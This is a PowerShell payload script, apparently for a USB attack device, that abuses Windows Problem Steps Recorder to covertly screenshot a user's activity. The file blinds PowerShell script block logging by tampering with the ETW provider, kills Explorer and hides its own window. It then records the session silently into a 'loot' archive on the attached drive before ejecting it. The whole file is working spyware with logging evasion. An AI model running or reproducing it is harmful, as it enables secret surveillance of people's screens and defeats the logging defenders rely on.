TW-D 5e95ba3d40
Add Win_ProblemStepsRecorder (#488)
Abuse of "Windows Problem Steps Recorder" to spy on a user's activities.
2022-01-28 11:53:24 -06:00

50 lines
1.6 KiB
PowerShell

#
# Author: TW-D
# Version: 1.0
#
Param (
[String] $BB_VOLUME,
[Int] $RECORDER_TIME
)
# Partially avoids "PowerShell Script Block Logging".
#
$etw_provider = [Ref].Assembly.GetType("System.Management.Automation.Tracing.PSEtwLogProvider").GetField("etwProvider", "NonPublic,Static")
$event_provider = New-Object System.Diagnostics.Eventing.EventProvider -ArgumentList @([Guid]::NewGuid())
$etw_provider.SetValue($null, $event_provider)
# Closing of all windows.
#
Get-Process -Name "explorer" | Stop-Process
# Hide "PowerShell" window.
#
$Script:showWindowAsync = Add-Type -MemberDefinition @"
[DllImport("user32.dll")]
public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);
"@ -Name "Win32ShowWindowAsync" -Namespace Win32Functions -PassThru
$showWindowAsync::ShowWindowAsync((Get-Process -Id $pid).MainWindowHandle, 0) | Out-Null
If ((Test-Path -Path "C:\Windows\System32\psr.exe")) {
$bb_loot = "${BB_VOLUME}loot\"
$computer_name = $env:COMPUTERNAME
# Abuse of "Windows Problem Steps Recorder" to spy on a user's activities.
#
(C:\Windows\System32\psr.exe /start /sc 1 /maxsc 999 /gui 0 /sketch 1 /slides 1 /output "${bb_loot}${computer_name}_record.zip") | Out-Null
Start-Sleep -Seconds $RECORDER_TIME
(C:\Windows\System32\psr.exe /stop) | Out-Null
}
"Win_ProblemStepsRecorder terminated." | Out-File -FilePath .\..\..\loot\done.txt -Force
# Writes the file system cache to disk.
#
Write-VolumeCache -DriveLetter ("${BB_VOLUME}".Substring(0,1))
# Safely eject.
#
(New-Object -ComObject Shell.Application).Namespace(17).ParseName("${BB_VOLUME}").InvokeVerb("Eject")